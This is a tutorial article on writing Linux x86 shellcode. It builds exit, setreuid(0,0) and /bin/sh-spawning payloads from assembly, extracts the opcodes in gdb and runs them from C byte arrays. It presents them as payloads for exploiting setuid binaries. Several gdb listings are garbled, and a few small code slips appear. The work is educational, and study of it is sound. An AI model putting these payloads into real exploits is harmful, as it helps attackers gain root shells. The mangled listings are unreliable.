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Designing Shellcode Demystified Print E-mail
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Features This paper is about the fundamentals of shellcode design and totally Linux 2.2 on IA-32 specific architectures. The base principles apply to all architectures, whereas the details might obviously not.

In our previous paper, Buffer Overflows Demystified, we told you that there will be more papers on these subjects. We kept our promise. Here is the second paper from the same series. The paper is about the fundamentals of shellcode design and totally Linux 2.2 on IA-32 specific. The base principles apply to all architectures, whereas the details might obviously not.

To understand what's going on, some C and assembly knowledge is required. Virtual Memory, some Operating Systems essentials, like, for example, how a process is laid out in memory will be helpful. You MUST know what a setuid binary is, and of course you need to be able to -at least- use UNIX systems. If you have an experince of gdb/cc, that is something really really good. Keep "IA-32 IntelĀ® Architecture Software Developer's Manual Volume 1: Basic Architecture" at hand. You can get it from:
    ftp://download.intel.com/design/Pentium4/manuals/24547008.pdf

Recent versions of the paper can be found here:
    http://www.enderunix.org/documents/en/sc-en.txt

What's Shellcode

In our previous paper, i mentioned several times that, once we get control over the execution of the target program, we can run any code we want, let's remember:

  • strcpy() copied large_one to foo, without bounds checking, filling the whole stack with A, starting from the beginning of foo1, EBP-16.
  • Now that we could overwrite the return address, if we put the address of some other memory segment, can we execute the instructions there? The answer is yes.
  • Assume that we place some /bin/sh spawning instructions on some memory address, and we put that address on the function's return address that we overflow, we can spawn a shell, and most probably, we will spawn a rootshell, since you'll be already interested with setuid binaries." [5]

Again, if you would recall, the instructions the CPU will likely to run are placed in some portion of memory. What we simply do is to place our code somewhere in the memory and make EIP point to it.

We name these assembly instructions "the shellcode". To use it within an exploit, we put their hexadecimal opcodes in a character array.

Several methods are available to get those instructions:

  1. Write directly in hexcode
  2. Write the assembly instructions, then extract the opcodes
  3. Write in C, extract assembly instructions and then opcodes

We'll first use the third method and try to run some system calls like exit. Soon, we'll write a shellcode to spawn a new shell.

The code we'd like to run will usually be the execution of a system program, e.g. spawning a root shell or binding a root shell to a newly created socket if it'll run remotely. When we talk about "executing a program", we mean "calling a kernel service which will be responsible for creating and executing a new system process". These services run in the most privileged CPU mode, namely kernel mode. We'll need an entry to the kernel for these sort of services. These services are available to userspace programs via system calls. Thus, to understand what's all about shellcode, we'll first need to dive into system calls.

System Calls

Entrances into the kernel can be categorized according to the event or action that initiates it:

  1. Hardware Interrupt
  2. Hardware trap
  3. Software initiated trap

Hardware interrupts arise from external events, such as an I/O device needing attention or a clock reporting passage of time. Hardware interrupts occur asynchronously and may not relate to the context of the currently executing process.

Hardware traps may be either synchronous or asynchronous, but are related to the current executing process. Examples of hardware traps are those generated as a result of an illegal arithmetic operation, such as divide by zero.

Software initiated traps are used by system to force the scheduling of an event such as process rescheduling or network processing, as soon as possible. System calls are a special case of a software initiated trap -the machine instruction used to initiate a system call typically causes a hardware trap that is handled specially by the kernel. The most frequent trap into the kernel (after clock processing) is a request to do a system call. The system call handler must do the following work:

  • Verify that the parameters to the system call are located at a valid user address and copy them from the user's address space into the kernel
  • Call a kernel routine that implements the system call [2]
There are two mechanism under Linux for implementing system calls:
  1. lcall7/lcall27 gates
  2. INT 0x80 software interrupt

Native Linux programs use int 0x80 whilst binaries from foreign flavors of UNIX (Solaris, UnixWare 7 etc.) use the lcall7 mechanism. The name "lcall7" is historically misleading because it also covers lcall27 (e.g. Solaris/x86), but the handler function is called lcall7_func.

When the system boots, the function arch/i386/kernel/traps.c:trap_init() is called which sets up the IDT (Interrupt Descriptor Table) so that vector 0x80 (of type 15, dpl 3) points to the address of system_call entry from arch/i386/kernel/entry.S.

When a userspace application makes a system call, the arguments are passed via registers and the application executes 'int 0x80' instruction. This causes a trap into kernel mode and processor jumps to system_call entry point in entry.S. What this generally does is:

  1. Save registers
  2. Conduct some sanity checking
  3. Call the particular system_call handler function to handle the system call. [3]

EAX register denotes the specific system call. Other registers have relative meanings according to the value in EAX register.

To give an example, let us assume that a process requested _exit. Before going into kernel mode, the underlying library functions set EAX to 0x1 which denotes sys_exit, set EBX the parameter given to exit() and executes int 0x80. When the trap occurs, kernel locates the appropriate handler routine. In this scenario, since EAX is 0x1, kernel/exit.c:sys_exit is executed. This function operates according to the value that is present in EBX register.

Now that we've gone through the mechanisms involved in system calls and how they actually work, we can start invoking them from our assembly instructions. Once we get the instructions, we'll find the hexadecimal opcode for them, put them in an array and create our shellcode.

Exit Shellcode

Let's first code in C, and see for ourselves:
$ export CFLAGS=-g

----------------------- c-exit.c ------------------------------
#include 

main()
{
        exit(0);
}
----------------------- c-exit.c ------------------------------

$ make c-exit
cc -g    c-exit.c   -o c-exit

$ gdb ./c-exit
(gdb) b main
Breakpoint 1 at 0x80483b7: file c-exit.c, line 5.
(gdb) r
Starting program: /home/balaban/sc/./c-exit
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Breakpoint 1, main () at c-exit.c:5
5               exit(128);
(gdb) disas _exit
Dump of assembler code for function _exit:
0x400a5ee0 <_exit>:     mov    %ebx,%edx
0x400a5ee2 <_exit+2>:   mov    0x4(%esp,1),%ebx
0x400a5ee6 <_exit+6>:   mov    $0x1,%eax
0x400a5eeb <_exit+11>:  int    $0x80
--kesildi---

End of assembler dump.
(gdb)

As you can see above, standart library function exit sets EAX to 0x1 and EBX to the parameter pushed onto the stack(parameter to the function, which is the actual exit status).

So, here are the instructions for exit(0):


	XOR	%EBX, %EBX	/* return code for exit(), set EBX zero.*/
	MOV	$0x1, %EAX	/* sys_exit				*/
	INT	0x80		/* Generate trap			*/
   

A user-friendly version of Linux System Call table can be found in the following link:
    http://world.std.com/~slanning/asm/syscall_list.html

sys_exit is defined as such:


%eax	Name		Source		%ebx	%ecx	%edx	%esx	%edi
1	sys_exit	kernel/exit.c	int	-	-	-	-
  
We can write the instructions inline in a C function:

----------------------- a-exit.c ------------------------------
main()
{
__asm__("
	xorl %ebx, %ebx
	mov $0x1, %eax
	int $0x80
");


}
----------------------- a-exit.c ------------------------------
  

We can trace the system calls within a program's execution time with strace:


$ strace ./a-exit
execve("./a-exit", ["./a-exit"], [/* 32 vars */]) = 0
brk(0)                                  = 0x80494d8

--- snipped ---

_exit(0)                                = ?
$
  

As you can see, exit(0) has been executed!

We can move onto another sytem call: setreuid(0, 0)

Sometimes we may be in need of some "privilege restoration routines" which restore a given process' root privileges whenever they are processed by it but are temporarily unavailable because of some security reasons. These routines are especially useful for exploiting vulnerabilities in certain setuid binaries, the ones that revert but do not completely drop their elevated privileges. setreuid is one of them, and sets the process' real and effective user ids. [4]

From the above given URI, you can get some information about this system call:

%eax	Name		Source		%ebx	%ecx	%edx	%esx	%edi
70	sys_setreuid	kernel/sys.c	uid_t	uid_t	-	-	-

Same principles apply here. We set EAX 0x46 which is sys_setreuid's value, EBX to the real userid and ECX to the effective userid.

----------------------- a-setreuid.c ------------------------------

main()
{
        __asm__("
                xorl %ebx, %ebx
                xorl %ecx, %ecx
                mov $0x46, %eax
                int $0x80
                xorl %ebx, %ebx
                mov $0x1, %eax
                int $0x80
        ");

}


----------------------- a-setreuid.c ------------------------------

xorl %ebx, %ebx
	Set EBX register 0. If you XOR some number with itself, you get zero.
	Remeber that EBX is the real userid part.

xorl %ecx, %ecx
	ECX = effective userid = 0

mov $0x46, %eax
	EAX = 0x46.

int $0x80
	Dive into kernel mode.

Other instructions after this are the ones for exit(0);

$ make a-setreuid
cc     a-setreuid.c   -o a-setreuid
$ su
# strace ./a-setreuid
execve("./a-setreuid", ["./a-setreuid"], [/* 31 vars */]) = 0
brk(0)                                  = 0x80494e4

---- snipped ----

setreuid(0, 0)                          = 0
_exit(0)                                = ?
#

As you can see, first setreuid(0, 0) and then exit(0) has been executed. It's time we extract the opcode for these instructions. In GDB, x/bx command shows one byte unit from memory we specify. This is what we want. For a detailed walkthrough on x/bx, you can have a look at:
    http://www.gnu.org/manual/gdb-4.17/html_chapter/gdb_9.html#SEC56

$ gdb ./a-setreuid
(gdb) disas main
Dump of assembler code for function main:
0x8048380 
: push %ebp 0x8048381
: mov %esp,%ebp 0x8048383
: xor %ebx,%ebx 0x8048385
: xor %ecx,%ecx 0x8048387
: mov $0x46,%eax 0x804838c
: int $0x80 0x804838e
: xor %ebx,%ebx 0x8048390
: mov $0x1,%eax 0x8048395
: int $0x80 0x8048397
: leave 0x8048398
: ret End of assembler dump. (gdb) x/bx main+3 0x8048383
: 0x31 (gdb) x/bx main+4 0x8048384
: 0xdb (gdb) x/bx main+5 0x8048385
: 0x31 (gdb) x/bx main+6 0x8048386
: 0xc9 (gdb) x/bx main+7 0x8048387
: 0xb8 (gdb) x/bx main+8 0x8048388
: 0x46 (gdb) x/bx main+9 0x8048389
: 0x00 (gdb) x/bx main+10 0x804838a
: 0x00 (gdb) x/bx main+11 0x804838b
: 0x00 (gdb) x/bx main+12 0x804838c
: 0xcd (gdb) x/bx main+13 0x804838d
: 0x80 (gdb) x/bx main+14 0x804838e
: 0x31 (gdb) x/bx main+15 0x804838f
: 0xdb (gdb) x/bx main+16 0x8048390
: 0xb8 (gdb) x/bx main+17 0x8048391
: 0x01 (gdb) x/bx main+18 0x8048392
: 0x00 (gdb) x/bx main+19 0x8048393
: 0x00 (gdb) x/bx main+20 0x8048394
: 0x00 (gdb) x/bx main+21 0x8048395
: 0xcd (gdb) x/bx main+22 0x8048396
: 0x80 (gdb) Our shellcode: ----------------------- s-setreuid.c ------------------------------ char sc[] = "\x31\xdb" /* xor %ebx, %ebx */ "\x31\xc9" /* xor %ecx, %ecx */ "\xb8\x46\x00\x00\x00" /* mov $0x46, %eax */ "\xcd\x80" /* int $0x80 */ "\x31\xdb" /* xor %ebx, %ebx */ "\xb8\x01\x00\x00\x00" /* mov $0x1, %eax */ "\xcd\x80"; /* int $0x80 */ main() { void (*fp) (void); fp = (void *)sc; fp(); } ----------------------- s-setreuid.c ------------------------------ $ su # make s-setreuid cc s-setreuid.c -o s-setreuid # strace ./s-setreuid execve("./s-setreuid", ["./s-setreuid"], [/* 31 vars */]) = 0 brk(0) = 0x80494f8 ---- snipped setreuid(0, 0) = 0 _exit(0) = ? #

As seen, the same effect with the shellcode.

Shell Spawning Shellcode:

This is the sweetest part. Basing what we've learnt so far, lets try coding a shellcode which spawns an interactive shell. The first thing we should do is to analyze execve system call a little bit in detail. Go to the URI I've given above and get some idea:

%eax Name	 Source		            %ebx           %ecx %edx  %esx  %edi
11   sys_execve  arch/i386/kernel/process.c struct pt_regs  -     -     -     - 	

EBX has the address of pt_regs structure. Not much explanatory. The handler is in arch'i386/kernel/process.c. Let's see it:

/*
 * sys_execve() executes a new program.
 */
asmlinkage int sys_execve(struct pt_regs regs)
{
        int error;
        char * filename;

        filename = getname((char *) regs.ebx);
        error = PTR_ERR(filename);
        if (IS_ERR(filename))
                goto out;
        error = do_execve(filename, (char **) regs.ecx, (char **) regs.edx, &regs);
        if (error == 0)
                current->ptrace &= ~PT_DTRACE;
        putname(filename);
out:
        return error;
}

As you'd notice, EBX register has the address of the command, which, in this scenario, is the address of string "/bin/sh". We cannot get any more clue as to what ECX and EDX do. However look, the routine calls another function, do_execve and passes these addresses to that. To understand what these really are, we need to go further:

From fs/exec.c:

int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)

Here, it's obvious that ECX has the address of argv[] and EDX has the address of env[]. They are pointers to character arrays. Environment variables can be set to NULL, which means we can have a zero in EDX, however, we need to supply argv[0] the name of the program at least. Since argv[] will be NULL terminated, argv[1] will be zero also. So we'll need to:

  • have the string "/bin/sh" somewhere in memory
  • write the address of that into EBX
  • create a char ** which holds the address of the former "/bin/sh" and the address of a NULL.
  • write the address of that char ** into ECX.
  • write zero into EDX.
  • issue int 0x80 and generate the trap.

Let's start typing:

First write a NULL terminated "/bin/sh" into memory. We can do this by pushing a NULL and an adjacent "/bin/sh" into stack:

create a NULL in EAX. This will be used for terminating the string:

xorl  %eax, %eax

push that zero (null) into stack:

pushl %eax

push "//sh":

pushl $0x68732f2f

push "/bin":

pushl $0x6e69622f

At this moment, ESP points at the starting address of "/bin/sh". We can safely write this into EBX:

movl  %esp, %ebx

EAX is still zero. We can use this to terminate char **argv:

pushl %eax

If we push the address of "/bin/sh" into stack too, the address of the pointer to character array argv will be at ESP. In this way, we have created the char **argv in the memory:

pushl %ebx

And write the address of argv into ECX:

movl  %esp, %ecx

EDX may happily be zero.

xorl  %edx, %edx

sys_execve = 0xb. That should be in EAX:

movb  $0xb, %al

Trigger the interrupt and enter kernel mode:

int   $0x80
----------------------- sc.c ------------------------------

main()
{
        __asm__("
	        xorl  %eax,%eax
       		pushl %eax
        	pushl $0x68732f2f
        	pushl $0x6e69622f
        	movl  %esp, %ebx
        	pushl %eax
        	pushl %ebx
        	movl  %esp, %ecx
        	xorl  %edx, %edx
        	movb  $0xb, %eax
        	int $0x80"
        );
}

----------------------- sc.c ------------------------------

$ make sc
cc -g    sc.c   -o sc
$ ./sc
sh-2.04$

It works. Let's find the opcode line by line and construct our shellcode:

$ gdb ./sc
(gdb) disas main
Dump of assembler code for function main:
0x8048380 
: push %ebp 0x8048381
: mov %esp,%ebp 0x8048383
: xor %eax,%eax 0x8048385
: push %eax 0x8048386
: push $0x68732f2f 0x804838b
: push $0x6e69622f 0x8048390
: mov %esp,%ebx 0x8048392
: push %eax 0x8048393
: push %ebx 0x8048394
: mov %esp,%ecx 0x8048396
: xor %edx,%edx 0x8048398
: mov $0xb,%al 0x804839a
: int $0x80 0x804839c
: leave 0x804839d
: ret End of assembler dump. (gdb) x/bx main+3 0x8048383
: 0x31 (gdb) x/bx main+4 0x8048384
: 0xc0 (gdb) 0x8048385
: 0x50 (gdb) 0x8048386
: 0x68 (gdb) 0x8048387
: 0x2f (gdb) 0x8048388
: 0x2f (gdb) 0x8048389
: 0x73 (gdb) 0x804838a
: 0x68 (gdb) 0x804838b
: 0x68 (gdb) 0x804838c
: 0x2f (gdb) 0x804838d
: 0x62 (gdb) 0x804838e
: 0x69 (gdb) 0x804838f
: 0x6e (gdb) 0x8048390
: 0x89 (gdb) 0x8048391
: 0xe3 (gdb) 0x8048392
: 0x50 (gdb) 0x8048393
: 0x53 (gdb) 0x8048394
: 0x89 (gdb) 0x8048395
: 0xe1 (gdb) 0x8048396
: 0x31 (gdb) 0x8048397
: 0xd2 (gdb) 0x8048398
: 0xb0 (gdb) 0x8048399
: 0x0b (gdb) 0x804839a
: 0xcd (gdb) 0x804839b
: 0x80 (gdb) ----------------------- sc.c ------------------------------ char sc[] = "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb0\x0b" /* mov $0xb,%al */ "\xcd\x80"; /* int $0x80 */ main() { void (*fp) (void); fp = (void *)sc; fp(); } ----------------------- sc.c ------------------------------ $ make s-sc cc -g s-sc.c -o s-sc $ ./s-sc sh-2.04$

Last Words

Using the afore mentioned logic, one can construct millions of fantastic shellcode. What is necessary is a little bit attention.

- Murat Balaban <murat at enderunix dot org>

Greetings:

a, da, aleph1, lsd-pl guys, Mr. Brown, cronos, gargoyle, matsuri

Bibliography:

[1] Linux Kernel Internals Beck M et al, Addison Wesley, (1997) 2nd edition.

[2] The Design and Implementation of the 4.4BSD Operating System McKusick M et al, Addison Wesley, 1996.

[3] IA-32 IntelĀ® Architecture Software Developer's Manuals
    http://www.intel.com/design/pentium4/manuals/

[4] Unix Assembly Codes Development For Vulnerabilities Illustration Purpose
    http://lsd-pl.net/documents/asmcodes-1.0.2.pdf

[5] Buffer Overflows Demystified
    http://www.enderunix.org/docs/eng/bof-eng.txt

[6] Linux 2.2 Kernel Sources
    http://www.kernel.org/pub/linux/kernel/v2.2/

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